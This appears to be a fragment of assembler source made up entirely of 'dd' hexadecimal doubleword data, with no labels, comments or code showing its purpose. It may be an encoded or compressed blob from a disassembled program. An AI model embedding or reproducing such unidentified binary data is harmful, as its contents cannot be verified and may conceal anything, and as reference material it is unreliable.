		dd 76E4C00Eh, 8900F802h, 0C33B061h, 31EF9Bh, 9AB47B47h
		dd 5CDAAEE5h, 0CDCB3800h, 52FFEA08h, 7E0F0E0Bh,	0C5E05B05h
		dd 3BFAA38Ch, 0CC9D6A03h, 0CF57D733h, 4E8D1BF0h, 54FE1722h
		dd 0BFD40051h, 91C560E8h, 0BC456F0Eh, 0FC2E4070h, 1C049h
		dd 58ED628Fh, 50020BE0h, 40BA4B00h, 515A6AA5h, 0A96800DEh
		dd 44CF6423h, 0EB3BC18Bh, 0AC19AA94h, 0D88FB000h, 0E8698953h
		dd 0BB110056h, 42350393h, 7106386Dh, 44639917h,	50A00031h
		dd 0FAC9C192h, 0B90040E9h, 0FE6BE883h, 1FF3DA23h, 0CF3332h
		dd 0B548BF1h, 0D0A8C277h, 7C00A0F7h, 4D42C683h,	38E1162h
		dd 0D5B69C6Dh, 611414E3h, 80C44419h, 41F987F6h,	7CE90008h
		dd 453D2C4Dh, 0CA28A5EDh, 0FF002CCDh, 22EC4BFBh, 1A4E5CFh
		dd 1AC70879h, 500E68BBh, 0AF3CDEFCh, 1DADE600h,	4EB26A70h
		dd 385700C7h, 4DCF1169h, 0FD0F4179h, 10D6D22h, 0B2CD6765h
		dd 3EAC091h, 57AC6F42h,	21FDC08Dh, 0D035007Dh, 0F20E4702h
		dd 0E90031FEh, 4DE393C2h, 56AF1h, 0E295FA97h, 9E14AA57h
		dd 0A483CF00h, 53826CBBh, 63D0F581h, 4B293E07h,	13A6D101h
		dd 60733885h, 66E8DC01h, 7ED34400h, 0CF5928ABh,	15F1480Bh
		dd 21E80866h, 0ABA71E01h, 0E2D05C6Eh, 0F21560h,	0F0F307D4h
		dd 0A4EBBCA1h, 4E44680Eh, 913BC06Ah, 0E9E3F94h,	7512C7B3h
		dd 2FA6F000h, 50C097B6h, 8B25165Ah, 11FC0Ch, 3D22C41Ah
		dd 0C327B49Eh, 5E5F4E06h, 1E206445h, 0CAEB8066h, 70202EDBh
		dd 0C88C0DB5h, 78C0DBE0h, 21595AABh, 0EF910A7Fh, 0ABC0F000h
		dd 8C207896h, 0D4722A01h, 0FE52CDFAh, 6B55D088h, 0EA6CB203h
		dd 7838A61Ch, 4EC50C8Ah, 6410B0F0h, 0C058150Fh,	6A37471Fh
		dd 8638AEEEh, 120B3A0h,	0EA582D5Eh, 0BE3C47A1h,	944A1978h
		dd 7FDC7308h, 787005D5h, 80178BD1h, 0C5FA23BEh,	0E48AD800h
		dd 5E309E8Ch, 8C9D5435h, 64D7EEB7h, 40934967h, 3BEF28AFh
		dd 798500C8h, 0A6394DDEh, 102AA117h, 0C478D4C5h, 30478C30h
		dd 300246CCh, 6416B4Bh,	7D039F4Eh, 97FF6AEDh, 3008DEE5h
		dd 25204501h, 0A4007075h, 0C6E19514h, 0E9EA19h,	0AD1B105Dh
		dd 0B0F14449h, 0C00359C8h, 0ED7A9F4Dh, 1D22B246h, 70742600h
		dd 7FAE40A3h, 0A0353CBCh, 8194FCA8h, 0D8190154h, 0ED23789Fh
		dd 3E1C1162h, 5E700324h, 0A8A2BC82h, 52C0144Eh,	8E6894EBh
		dd 91A087CCh, 8E67D0FCh, 270555BEh, 3133ADB4h, 778CBCC0h
		dd 41B80059h, 0E109D35Bh, 1166B924h, 7B216608h,	10410094h
		dd 6E9093B8h, 1F0040D0h, 26AF7C61h, 858B79h, 0AD397781h
		dd 0B2157EECh, 75950703h, 19E60FD1h, 2078F508h,	1DFAF0CEh
		dd 0B8ACBA00h, 0D769B323h, 0EDC00055h, 0A78D0357h, 78C0D131h
		dd 6034CD39h, 0C02406A0h, 92C55C3h, 0ED21A160h,	31EB6BCh
		dd 4A044DBEh, 8E1B55Eh,	0FBAE810Eh, 5766A7D9h, 38BDC880h
		dd 3A23A4FAh, 0A29710C0h, 3522992h, 0F880719Ch,	0CDA37295h
		dd 368CA807h, 6650928Bh, 1DC762F9h, 98C1EBA7h, 0A8202179h
		dd 89856Fh, 5530FA2Bh, 0C9EE6754h, 2A608881h, 21249E60h
		dd 0EF60C610h, 0E586032h, 0B304AD2Dh, 302FBC65h, 8241B5D0h
		dd 1111D323h, 0FD790068h, 4C659441h, 0FA01010Fh, 0CDAFE19Fh
		dd 30A6026Dh, 113B1583h, 91742108h, 82C507F6h, 6E674415h
		dd 9F688880h, 0A9A56033h, 0C7C4764h, 35BF39h, 8DD05A89h
		dd 3307310Dh, 95F87625h, 603630BCh, 302410A2h, 8079C8C5h
		dd 0F2B6BEEBh, 0DB00F833h, 0FFFA7C0Dh, 54A50C28h, 4CB4DDh
		dd 0BC88D454h, 15768E63h, 41A03230h, 16787EDFh,	0FE696625h
		dd 0E929E601h, 1AFC8A6Ch, 0F4B207AEh, 0C2B48242h, 68445732h
		dd 0D1EC3B7Dh, 0D42FEC06h, 51D0CFh, 6870E492h, 8D787DFBh
		dd 0AE8A7204h, 1C98FC38h, 37921DA0h, 0CB11A352h, 92893800h
		dd 4D0AAA3Ch, 9E677B00h, 0D5D42AC7h, 8569C478h,	4F1C887Fh
		dd 0D65D1000h, 9299C644h, 68120087h, 0DE43B37Ch, 1300FA70h
		dd 7F382AACh, 12834B2h,	903BC821h, 8C8EA954h, 517B8448h
		dd 52EB00E8h, 0C42B0F5Eh, 0AF1CA4E3h, 584302EAh, 707A8550h
		dd 0F63B6029h, 0B58F0CE5h
		dd 0BD735E03h, 0D9262AC4h, 29808485h, 0CDB7E7B6h, 0FE00B0E0h
		dd 9D7F3637h, 245822D5h, 74309A90h, 9200F746h, 84414CA3h
		dd 470AFA3Ch, 0A0E6A80Ch, 89F02D81h, 4706E1Ah, 8F5600A1h
		dd 0B172AA53h, 0D01ECEEDh, 71B09436h, 5BBB32Ch,	337EB783h
		dd 28B040A9h, 0B0E3943Ah, 0E426F900h, 9D104B7Ch, 80A484h
		dd 89CCF6B1h, 0C4278BDAh, 0CEA53A03h, 0D82C8DE9h, 0A825F8BEh
		dd 1C86DF8h, 0D13694DBh, 3230E0A9h, 9931008Ch, 50563976h
		dd 0AE4008Fh, 452583E6h, 0AD280982h, 0B100CDD3h, 7E9787FDh
		dd 90B729B6h, 2E04628h,	522B929Ch, 10C231ACh, 1D92A4E4h
		dd 0A8A0134Ch, 752AE4BCh, 0D0FC1FB2h, 0AC8CCC7Dh, 0BE188B90h
		dd 0B1591FFAh, 368E12CDh, 0BF760982h, 41B428B0h, 0E9D37F08h
		dd 436264E0h, 0C841FC78h, 3FB7DC42h, 34494A22h,	0B9ABB04Fh
		dd 90269B0Eh, 8B3E80B8h, 0FA29DE2Dh, 7E050D84h,	204993A4h
		dd 31433564h, 0DD41B61Ch, 113C69D3h, 0FF96185Eh, 4A0E98h
		dd 0A08871DEh, 23991EABh, 0CD85A502h, 45BD8F54h, 60D3E4C8h
		dd 0A83AFA13h, 36BEB994h, 5021240Eh, 0A101FD46h, 94523492h
		dd 88C10C72h, 92398A37h, 83420A11h, 0F5808C7Dh,	88D99055h
		dd 828B0B08h, 4A00EDB0h, 66B69FE3h, 1500302h, 0A4788318h
		dd 9E60FE3Ch, 52102D92h, 0E7B771BCh, 58A120A6h,	10700F5Ah
		dd 0A7844405h, 283A3A4Dh, 0C00CB23h, 0F0BEC187h, 0E8D30088h
		dd 7237F77Eh, 1A042822h, 3856A79Bh, 2AB65703h, 0A4643092h
		dd 20785800h, 0A762EFB4h, 7559C0CFh, 803FB712h,	3441F505h
		dd 0C82A35Ah, 603730A8h, 0B82124F8h, 0A091C3h, 48B6BFECh
		dd 3EE5178h, 0D81752B7h, 0D887BD3Eh, 690E6285h,	0CEAAC2Ch
		dd 0D2A77AFEh, 340F1B11h, 13EEB788h, 7617700h, 2A55C1h
		dd 0D8B5E05h, 0F2032994h, 5C4882E1h, 0C0490BFFh, 9512E4h
		dd 7DDD51B4h, 99E91528h, 0DC82210Fh, 20DBC03Dh,	0EDE868h
		dd 0DEE408BEh, 633CC57Eh, 70645B5Ch, 162E200h, 1203CDB0h
		dd 36DF8B6h, 5AD0C4A8h,	0A0A02537h, 0D600402Bh,	0FAE2B3FBh
		dd 3B01DDE5h, 1283EDE7h, 52BAB5DAh, 222D9788h, 3401C77Eh
		dd 0FA23EF4Eh, 0F7F18920h, 0DD6DCh, 4BE640E5h, 17985F72h
		dd 0E7DC641Eh, 31EB4FC0h, 0A7B37Fh, 6AE9A93h, 1D6AA460h
		dd 55928801h, 0ED75493Fh, 5025C087h, 90D957D4h,	0E6E2022Ch
		dd 72AD4C08h, 0FDB70715h, 0F8B9E01Bh, 500CDFFh,	72CC9919h
		dd 55CA44h, 54B70A4Ah, 0E7E2DE0Bh, 0C0CBE400h, 3611FE71h
		dd 0A5EE001Fh, 631B7AB9h, 6F118BEBh, 0FE003FD5h, 893E603Ch
		dd 3A03BE3Dh, 4281A35Eh, 7741008Ch, 4A9CF630h, 0DAEAF214h
		dd 34E6D800h, 0EA3B707Bh, 961B0B5Dh, 32012E6Bh,	40DB62F5h
		dd 37F19380h, 0A3470F03h, 0BE85839Ah, 971D3880h, 0F16DE480h
		dd 0F5DE95EEh, 2488FD03h, 0B0081289h, 50BF142Bh, 1C918084h
		dd 40AB3F59h, 4A1B7D06h, 0DC3FC7CDh, 145039E9h,	0A0E00Ah
		dd 0D7EDB9A8h, 0FE89CEh, 0E3DC70B6h, 61B8C386h,	0C874BE00h
		dd 2EDB795Ah, 0B120237h, 7A724D46h, 2402C0A0h, 0E2546A94h
		dd 65066FE0h, 523A3D8Eh, 2B490280h, 1E7427ADh, 0F0BAE080h
		dd 0F50E84DBh, 209AD483h, 0E4690BFEh, 3AA212CEh, 81FC1E1Bh
		dd 82EC8CA6h, 17C3F824h, 0FB8F3505h, 3680D018h,	1E99D216h
		dd 0C3FD1h, 1A14A563h, 2500FF7Bh, 786DF5Ch, 2F4A70h, 0BFB843EFh
		dd 5EB0FB3Ah, 63108700h, 0CF73E59Dh, 9A1200F5h,	421595DAh
		dd 40C0F25Ch, 0F4B0762Ah, 4136000Dh, 21899B92h,	9C1DCA43h
		dd 4A1E8144h, 0AF40B0C0h, 4C77ECh, 85B48D5Dh, 5865016Bh
		dd 83A2A43Dh, 34615E9h,	0B29A0B7h, 11B400B3h, 76A10A71h
		dd 65901227h, 21C0A4E8h, 0E911BCF6h, 3CA80018h,	2AAF83A5h
		dd 0A406B5Ch, 79750093h, 3E90E3E7h, 981DB746h, 71084797h
		dd 584A002Ah, 0D33DFCCCh, 0BD32C200h, 0AB08EED6h, 0A4600D9h
		dd 941E28Ah, 0CA050D1Eh, 23315E8h, 1141505Ch, 77990A70h
		dd 0D588860Ch, 21100BBh, 0F5AAB516h, 5100B8A9h,	9D80ADD1h
		dd 29C9329h, 387E8C83h,	0AB805849h, 0BAE33565h,	7ACA0906h
		dd 0A8D511h, 0A9295790h, 0DE9E835Eh, 563C9A00h,	70C51695h
		dd 1F8A0C9Bh, 0B20B4EDh, 5A7EE705h, 20387B5Ch, 0F0C58E79h
		dd 0A008B06Ch, 0E732C05Bh, 9621909Ah, 17D9147h,	6FCC5955h
		dd 8AFCBC3Eh, 1194A01Dh, 0CBB02484h, 0A0C3F55h,	15892DE1h
		dd 0BF7891A0h, 57760301h, 5867AA09h, 21807FD1h,	34785D97h
		dd 0C61F0355h, 104BCE8Ah, 512970C5h, 14429C7Dh,	11BD3059h
		dd 5ED4D290h, 45D3B014h, 10FD0068h, 7B88049Eh, 0E30A324Fh
		dd 0BC9BFC39h, 0A7C5902h, 79808493h, 9CE70C60h,	46669010h
		dd 4B807BC8h, 0EE2DE733h, 6A00CC4h, 0CE507FC8h,	0A48D0415h
		dd 29D863C8h, 0E2BEA085h, 2B11C027h, 0A50ACA9Ch, 0D6693F06h
		dd 6008F78Ah, 0E5682138h, 5401EACAh, 0D10243B1h, 80406D05h
		dd 124DCBCh, 2C0BC430h,	600725B9h, 0B5006673h, 0A549EEABh
		dd 0C0F240A0h, 802510D0h, 950059B8h, 66FF6A82h,	98755Ch
		dd 0B4B6D57Eh, 10E32801h, 9500ED73h, 8BBE8CE1h,	39F03Fh
		dd 70DB9CCh, 0D764FEA1h, 0B8BC2100h, 6D1E3349h,	666139BAh
		dd 0CDAFEE0Eh, 0ACC456C3h, 0D047BEDh, 10C111A7h, 0C55497h
		dd 9B446CD9h, 0F903D931h, 9791CF1Fh, 3E6BC84Dh,	8DFA07EBh
		dd 0C1C160F4h, 0F0A0DA38h, 17148EB0h, 0E2CA307h, 6CA9D513h
		dd 422C505Dh, 0C15506F3h, 1298247h, 6CDB19B1h, 0F14D4C72h
		dd 0C9F9F88Bh, 8A9C6A0Eh, 7453802Ah, 37431FF4h,	9FF9C297h
		dd 8BA70811h, 8D883ACDh, 7C80DEA3h, 487740B2h, 0C9DD0516h
		dd 21675313h, 0C67970h,	13E8FC99h, 939A9Fh, 3FC00A16h
		dd 846044EBh, 0D8A8CFE8h, 1176009Ch, 0C14A562Ch, 6D881948h
		dd 0C8BC2B16h, 119D004Ch, 4C68C330h, 9A20C1E6h,	0F11E054Bh
		dd 2074A3D6h, 474F0394h, 0C6A96D67h, 29390926h,	21F059BBh
		dd 61607504h, 5CBDC262h, 186157A2h, 40D7F026h, 6F666DE4h
		dd 3C1253F2h, 4005A48h,	0EB12E7A2h, 0D128C8B1h,	93843290h
		dd 42CB485Bh, 4E222B9Ah, 595A2274h, 1D219F24h, 703A119Bh
		dd 48867417h, 0AD418043h, 6275B69Bh, 4600357Dh,	955A271Fh
		dd 2651D0h, 0F7D8FE04h,	62C1209Ch, 72CF450Eh, 64F24047h
		dd 0B01BFAh, 5295CD22h,	87293D6Ch, 0F8D1C000h, 0DCA17546h
		dd 9F7F005Eh, 0CCA4B7A2h, 80030A63h, 442BFECDh,	1CE3C870h
		dd 66E900B1h, 0C62E7815h, 2A070433h, 0FAE499FBh, 0BA0D4A00h
		dd 823D007Dh, 5B65CA01h, 7600BF38h, 874F0CD4h, 12CF8BCh
		dd 0F325BDCBh, 0EC1F84C3h, 8D00133Ah, 6E1B4231h, 15103655h
		dd 0D8F7D371h, 16B875h,	67EDCF83h, 4A9FC698h, 777E6B01h
		dd 0B31CE49Ch, 7F53F8C3h, 0E97503BDh, 89AF50C9h, 0DFFC006h
		dd 0D8A5C5h, 4B68ED94h,	0B502B185h, 8C428A00h, 9AC68DC3h
		dd 0BBEC00F4h, 0F813AEDEh, 10387B37h, 365E804Fh, 3CADB373h
		dd 0CBD50006h, 0F9FF15F0h, 0D4E9E084h, 0BA008CC0h, 0FD29474Ah
		dd 905D2B5h, 0FC28DEF3h, 0F16B3C22h, 0E102AFE0h, 4A94E207h
		dd 0E9D07160h, 1F92CD49h, 399C308Bh, 95FC0075h,	0E128E713h
		dd 85006771h, 4424ACA9h, 0B0937A26h, 751900EBh,	2DAB8D7Ch
		dd 0C30A0823h, 80F2A67Bh, 50051D01h, 0ED343A9h,	0AAEEA42Eh
		dd 359429A0h, 6800869Ch, 0C09D9B9Eh, 0D64D0Ah, 60CAB6B5h
		dd 3CEE2B3Bh
		dd 0DCF81600h, 0E298A9FBh, 264E0003h, 0DABF56D2h, 7026378Eh
		dd 0C00084C9h, 647321B9h, 908307E1h, 507DAD72h,	1BE5162Fh
		dd 9587DF00h, 7456DAA1h, 44510071h, 0DD0BEA75h,	2000664Ah
		dd 0F1977AE1h, 0F8A932Ah, 0E47E716Fh, 4D4FE4h, 36CB21ADh
		dd 8BE60BF1h, 9D82E108h, 0CE6010D2h, 723968A3h,	9C48000Ch
		dd 43C0DA91h, 0A1C20018h, 0C8968876h, 6A0EA624h, 429ED67Fh
		dd 40C103B4h, 22327Ch, 9C4F1335h, 617583A8h, 0CEF5224h
		dd 0F43EA680h, 3A232E46h, 133DFB5Ch, 73B37C81h,	20C295D1h
		dd 8C00B078h, 0CE88C547h, 0ECCF3C77h, 5430000Bh, 0A9C1878Dh
		dd 12F21EA0h, 2DAF9502h, 6B59E6F0h, 10CE8144h, 14A1D8h
		dd 0B29644BBh, 0A071B505h, 0E4E48550h, 915DC930h, 82D539h
		dd 29A73289h, 5F434BFEh, 3DED3500h, 77B2032Fh, 9FFF0247h
		dd 88D9E6E2h, 7A310C60h, 25F59D1Fh, 22557CC0h, 76E853h
		dd 0AC4B82AAh, 18C4E621h, 0D5DFE400h, 75BC0950h, 1AD1002Eh
		dd 0D064131Dh, 0AF1DDEFDh, 0ED00EB3Ch, 0E0A19F99h, 61C741Fh
		dd 38F92E6Bh, 79073811h, 30035C95h, 3F3B3660h, 76400FDh
		dd 73501B7Ch, 0BE000446h, 1452DAB6h, 96596Bh, 945349B0h
		dd 0D87238F3h, 0C1757F00h, 0D3C58EA2h, 0C2B80CAFh, 0A46E121Dh
		dd 80FDC33Bh, 0E307C752h, 20E3236h, 759DD211h, 0ED60CD82h
		dd 3D004B56h, 1931F6DEh, 3E27A162h, 571CC1E7h, 0D80307B7h
		dd 0A533E06Eh, 0BE3E7FC5h, 796C2698h, 1F658901h, 0C1E45825h
		dd 0FC2A00A8h, 46A4A352h, 32004AB3h, 0C5F0FD23h, 0E06E89h
		dd 99D2CC8Ah, 0E8D6059Bh, 0A1D77803h, 0F0E5954Bh, 160C10h
		dd 5FBBF0B2h, 9D86DA57h, 1153370Fh, 92EF63E5h, 0D3E799D0h
		dd 222DB30h, 85BE09A9h,	9C68545Eh, 94A37B77h, 8CFADD88h
		dd 0D01D6EAh, 0F904E8B6h, 9880622Ch, 4C1DC990h,	0B800E315h
		dd 74FA3586h, 51FB8Dh, 42EA5A65h, 0F05F5984h, 0B1192B00h
		dd 0B29EAC2Fh, 0C8DF007Bh, 107E588Bh, 0E8000D8Fh, 4D151C4Bh
		dd 1CE395A2h, 8E412776h, 97877794h, 96C5F03Fh, 3C0369DAh
		dd 6118EB26h, 0A9C9C0F7h, 7B511EBEh, 6740C07Ch,	0E9E83B0Fh
		dd 30A6C801h, 0D268D9FFh, 78E0ACC5h, 44A01FB9h,	39CD00D5h
		dd 22F414Bh, 0CB8B062Ch, 0FA004C3Ch, 0B980DB21h, 0CA92EE07h
		dd 34650001h, 3F399813h, 440B6B7Eh, 219C4DE1h, 2C421994h
		dd 0EB762ECh, 7149C1C4h, 0AFA7F4E0h, 560020C3h,	41CA7673h
		dd 1C09A8B1h, 4FDAECA5h, 8600665Dh, 0DFF343F4h,	643FD012h
		dd 70480C80h, 0FCCE1C6Fh, 0CF49471Eh, 9B272F91h, 0F01F07D1h
		dd 500FB043h, 0D6B93F03h, 0B0693E30h, 1C2EFAh, 0CA70D1F7h
		dd 0C14F9A2Ah, 0F0300B7Dh, 5683804Dh, 8DE90FC0h, 20807151h
		dd 0E1759A55h, 1200289Ah, 0A47D939Ch, 1049C9h, 0CD21E4F8h
		dd 8992BDC1h, 0B0F0E700h, 0EEB9798h, 34634831h,	32599F0Eh
		dd 0D0265AC0h, 8901D62Eh, 50BE3021h, 0DF8A16Bh,	0E81904B2h
		dd 807B03CEh, 0D0EA95B3h, 4850F801h, 0E04F0DCFh, 12D41080h
		dd 3CB64EFDh, 0F6722705h, 0F880AB07h, 0E8B8E8E2h, 99892876h
		dd 0F77358h, 8EBF4680h,	2E37F32Ch, 1345DD3Ah, 9801847Eh
		dd 250A6683h, 6B64F0h, 0AE56513Ch, 5F67A5E3h, 0B3DB9801h
		dd 0B08CE295h, 0B683E8h, 0ABE8F68Ah, 0FB4FAAEFh, 93C7F900h
		dd 82FC3EE3h, 34630C14h, 0B3996B97h, 5548FEF2h,	401D004Ch
		dd 48A6EF18h, 0DA941FB8h, 51A98363h, 0B800325Dh, 0F684C09Bh
		dd 0E97E1015h, 0E1F0F0D7h, 457B1754h, 0A81A0EDBh, 0D05A5D87h
		dd 0C982477Eh, 72621800h, 408E9712h, 4A810329h,	0F530167Bh
		dd 0BD62E07h, 5E006502h, 0EEAA31h, 414536EFh, 32770E9Eh
		dd 0F1331900h, 0CEE29026h, 1C5A3D6Dh, 876E7480h, 44B7146h
		dd 0F9E958h, 44F6E5DAh,	0F81ACDh, 1FFD3423h, 0B9CC7213h
		dd 0A728C500h, 1E5BB7C8h, 0F40E13E9h, 0FBB000C7h, 0B826CE8Ch
		dd 0D1146700h, 866E3784h, 0B1EC0058h, 0A0BEF1B3h, 301EA863h
		dd 680EEF4h, 0D7BC939Bh, 284F0014h, 5B71678Ch, 82088476h
		dd 3B64D2D4h, 222DD313h, 6AC01598h, 600B892h, 4B59AB9Eh
		dd 1A2A23h, 8BFCA8BDh, 6499D704h, 91363900h, 6B0CEE59h
		dd 0A78400A2h, 8E5577A4h, 4817F251h, 5105CC17h,	0E0014AA8h
		dd 1E0D559h, 0EC9E8AECh, 0A8C0A341h, 330786Dh, 2026746Eh
		dd 0F5C0FC3Fh, 771D5CCAh, 1A408EE5h, 0D87D63ECh, 6A351D2Bh
		dd 0A1A282FAh, 1460CD5Fh, 800DFEEh, 0AD8E4512h,	0B8641050h
		dd 0D4B0009Bh, 60D9033Ch, 5D2548BEh, 4FCC003Fh,	12AE9369h
		dd 80DC92FBh, 0B39DE518h, 0E0D1DF2Eh, 0E0A07200h, 5C8EB4E7h
		dd 79C4441Ah, 74DC03C0h, 0AAD0DF63h, 765AF02Ah,	7C90032h
		dd 0BC9BA831h, 960F03F8h, 40DD30EFh, 0E1D12A4h,	0A0E40E56h
		dd 3980E5A6h, 21F5A23Ah, 0FCFE4200h, 0D3F0F23Dh, 58C25CEEh
		dd 798BEF18h, 12F0FE40h, 8E96B801h, 67BCD0D7h, 3D14BFF4h
		dd 0FE007AF8h, 39C1F29h, 0E500B872h, 5E6B4DDAh,	1CA91356h
		dd 975C736Ah, 9100BED2h, 58832627h, 1738078Eh, 0F02A826Dh
		dd 56E7D249h, 0F4E87A00h, 4BEC0912h, 8C6B004Ah,	0C1F53E7Eh
		dd 61071982h, 0BA3F876Ah, 3383DFEBh, 1103AD1Ah,	37D7F58Bh
		dd 5C86D8A3h, 57C02852h, 0AB343CB0h, 0A91AF82h,	1C409FEDh
		dd 7CE4455Dh, 32004F79h, 347DA604h, 73B58C64h, 20F091h
		dd 0C94941FFh, 9EAB5625h, 31DFA100h, 6D5C6B48h,	0D5710Dh
		dd 0DA0245C8h, 0A3142044h, 0E83AE326h, 69124A00h, 17C72ABCh
		dd 4051429Eh, 61AA1FE0h, 67045271h, 0A9C6DA39h,	0BEA156C0h
		dd 6C3B0008h, 7CD08ECEh, 0C33B7B72h, 28A2051Dh,	88003709h
		dd 5DAFE60Eh, 42140040h, 0A43A7A75h, 5003471h, 16326181h
		dd 408DBBh, 9CB1017Fh, 80208B9Dh, 6B0B051Fh, 0EE048180h
		dd 0EE5B53E7h, 0FF5700E9h, 3722068Ch, 0CE004D99h, 0A834B986h
		dd 9EE335h, 383BC8ACh, 0A7C2B06Dh, 8800337Bh, 5F61DC68h
		dd 0B88D83h, 0B0CB7DE8h, 0A27A3C29h, 0AD905701h, 86C5BB5Eh
		dd 0A06F03CDh, 0F009D55h, 83F19B7Ch, 7635A0h, 658BC7C8h
		dd 2CB09109h, 0DB3E9000h, 13FC59F5h, 7A613E3Dh,	37836A00h
		dd 55BF3002h, 0F39FAD00h, 7F6296C2h, 13540091h,	7643EDEAh
		dd 0BE0069FDh, 295BDC63h, 0C8605h, 0D0757AB1h, 2C7966D9h
		dd 0D208E300h, 0F3D37DF4h, 0D69A0098h, 0E60D1E54h, 2A00BB44h
		dd 0D511FE2Dh, 7FD6990h, 67AC1349h, 806B347Ch, 28738D81h
		dd 0BAAECE18h, 0F43320h, 7C45F153h, 0C6D5FA13h,	4DE8DC00h
		dd 0B87DC319h, 0EB28C3BFh, 0C8000E45h, 0D8518C3Ah, 1C3DAC26h
		dd 80C54C6Ah, 16E1E5F7h, 601EB93Eh, 6801B117h, 23364BADh
		dd 0DFE4ECh, 0CD2C477Bh, 269A7398h, 684DF300h, 0BB430875h
		dd 0DB1F0055h, 0C34B3F4Ch, 0F00049EDh, 0DC7F4D32h, 3A2FE81Dh
		dd 71008CB5h, 205D60Dh,	0C404849Eh, 0FD1F0978h,	0F2B8E780h
		dd 0AE340004h, 0B79E0549h, 0D300D23Fh, 1B4377Bh, 7F1303E4h
		dd 98201FFCh, 0A56A8746h, 0FB22F0BCh, 73740526h, 0D1514800h
		dd 93B56649h, 0B77F00E5h, 1FA5827Bh, 13000F81h,	48986C07h
		dd 0E89F5AECh, 0CC78144Eh, 461DD6FDh, 0A8378079h, 9049A22Eh
		dd 9B22D4F5h, 7C88C11Dh, 0BF27F847h, 0D787BA97h, 234E0950h
		dd 0B584006Dh, 0EE0FB9ACh, 461C9094h, 7C002742h, 56F0EA77h
		dd 76302798h, 0C00036FCh, 45449F86h, 740F00D6h,	0F73EB6F6h
		dd 0BF0521CBh, 0E9B53201h
		dd 9B98A000h, 2E4B1846h, 0D97509h, 0F0392638h, 0A700D77Bh
		dd 5A876DC1h, 9029A1h, 402881E1h, 73594BC9h, 9B21061Ch
		dd 0F9EB6480h, 7944518h, 0D82C435Bh, 3E0410ADh,	991D05EEh
		dd 1C0C044h, 20F98B85h,	0B3FC00BAh, 67FACCD9h, 0F23977A1h
		dd 0AB7B00D4h, 0EADB18FBh, 242549F1h, 6F09A800h, 1EF88659h
		dd 0B2FBFC2Ch, 93355C02h, 0AB304098h, 14603E8Ch, 5200CB20h
		dd 13766806h, 30F01A02h, 2818CCA7h, 3DE672EAh, 0EE076277h
		dd 4ECD5B95h, 2C830C24h, 9C488C71h, 4CB3E780h, 7177E5Bh
		dd 6E221589h, 3F4CAE5h,	56093E0Ch, 0AE881993h, 5800C2DFh
		dd 0A92B9ED5h, 69A14Fh,	0C1CC4396h, 0B6AF7504h,	9A7E8302h
		dd 4068D444h, 9E8478h, 0ABA4D96Ah, 0AE202E4Eh, 38D68300h
		dd 0B7BB5630h, 0A1A800E7h, 6E2A6B6h, 0BA0063E9h, 386BDADEh
		dd 590B5Bh, 93A2B7Bh, 882D20Fh,	7C4C4D02h, 40E1E7F8h, 1655CED8h
		dd 8B95C0h, 0DFB940EBh,	2B007560h, 0D82263AFh, 7D29383h
		dd 5DBECC39h, 2EEC09Ah,	4779828Dh, 7950B900h, 76212BE0h
		dd 6BC70771h, 93E5AAE3h, 0F5B89C04h, 2A046510h,	38288DB3h
		dd 0D37B0CC3h, 0CCB980DEh, 0A8775357h, 875D3A00h, 0CE746A1Fh
		dd 6FDA7A07h, 2DA062C8h, 90B12A6Bh, 1A76F0h, 2E949706h
		dd 620C63B3h, 0F1BBCE07h, 39C0816Ah, 2760C2h, 0BDDFD416h
		dd 1F19012Ch, 0E3903100h, 0DBC3BE8Dh, 0D0AD12F6h, 0F52101FCh
		dd 0D4D8622Fh, 1700AF1Bh, 0B1FB71A1h, 3D817FDDh, 3C80D796h
		dd 0CBCC9EC5h, 1E012E84h, 28A00C69h, 78C0025Dh,	135FEA8Bh
		dd 67EB26h, 8C09B226h, 251F4A3Ah, 0C380926Ch, 23390CBBh
		dd 0BC8A176Bh, 2AABCDCh, 0E9D1EE49h, 0E8304038h, 0E4B60524h
		dd 3B581Dh, 0F65CB98h, 6B3F6C17h, 2F488009h, 3713BDB7h
		dd 0E6F60063h, 0AE460D8Bh, 8900D716h, 8086DB77h, 2DA1BCh
		dd 0EF6A82D1h, 0B7734C10h, 2A41D4F7h, 0FF6F5004h, 6C93E49Bh
		dd 798C8867h, 54A119D4h, 0DD500873h, 3120BCF8h,	0DA9710E4h
		dd 0B3C0DC13h, 0F3003C54h, 0CC9DFAAAh, 0DEDFC4h, 2D5A1610h
		dd 0A82F6DE0h, 0B8DA0C3Dh, 0DD5C0B69h, 44A9807Bh, 48CCE59Ch
		dd 0F600443Eh, 81CE04FDh, 1EEE418h, 0C460D474h,	708E6B10h
		dd 9BF448E1h, 41245B0Ah, 20C69894h, 0DD2AC498h,	0D1E64F8h
		dd 0E207980h, 61CE1D3h,	57CEE660h, 0E30328F6h, 0F971A842h
		dd 80E7934Bh, 82C00Ch, 0C618CD86h, 2319A354h, 52189BB8h
		dd 0DA713B30h, 97EB06D5h, 122B4A69h, 0FDFA1F00h, 6F5A867Dh
		dd 0F16800FCh, 9EFE537Bh, 0DCFAE225h, 0E899B060h, 15C6654h
		dd 0C0EC424h, 647264C1h, 9900959Ch, 6E1EAA91h, 3D78C62h
		dd 223F2EAEh, 4AF8EFD5h, 64719BF7h, 3A8131DCh, 0E6226DB5h
		dd 350CC4h, 0FF88AB51h,	0BEA9E3BAh, 0B00CAF4h, 5269E853h
		dd 0F11845h, 96E0B3DAh,	905EDECCh, 3C00D678h, 3B42C620h
		dd 66013A93h, 0D07F60DDh, 0FC5C3Ch, 0CFF8E3EFh,	227D730Fh
		dd 3130D85Bh, 583BD946h, 0DFFC00ABh, 0F280C367h, 64EC3DF9h
		dd 215B8C00h, 3BE1A061h, 0E802763Ah, 2D0C0B4Ah,	0B980CCC9h
		dd 0BA3DF7A7h, 5203B7F4h, 0ADF1F236h, 404E911Ah, 18AC8CF2h
		dd 74440EA1h, 4D80E3E0h, 8719C337h, 0D61B4E03h,	83623467h
		dd 1C6A369h, 87315E21h,	20BB11BFh, 0C039775Dh, 24659EA8h
		dd 61493618h, 0F323006Bh, 0B2CF02F2h, 4E00AC33h, 7F16F428h
		dd 9625B9h, 0E33873C8h,	6355199Fh, 7C54AB01h, 48CACEDDh
		dd 507030B6h, 52792374h, 6D114760h, 0D1B114Fh, 40B07B41h
		dd 6708984Ah, 84450h, 82CF116Ch, 0D9E9E12Fh, 30BA3640h
		dd 48C9EAB3h, 0A50A4B83h, 845317D7h, 1A857B91h,	74C4EA87h
		dd 20CC8462h, 908732A9h, 49DE5E1Dh, 259F1B47h, 0C7568ECh
		dd 0A4F3452Dh, 4B0CCAE8h, 0D1413C87h, 0F9760064h, 1907CD8Bh
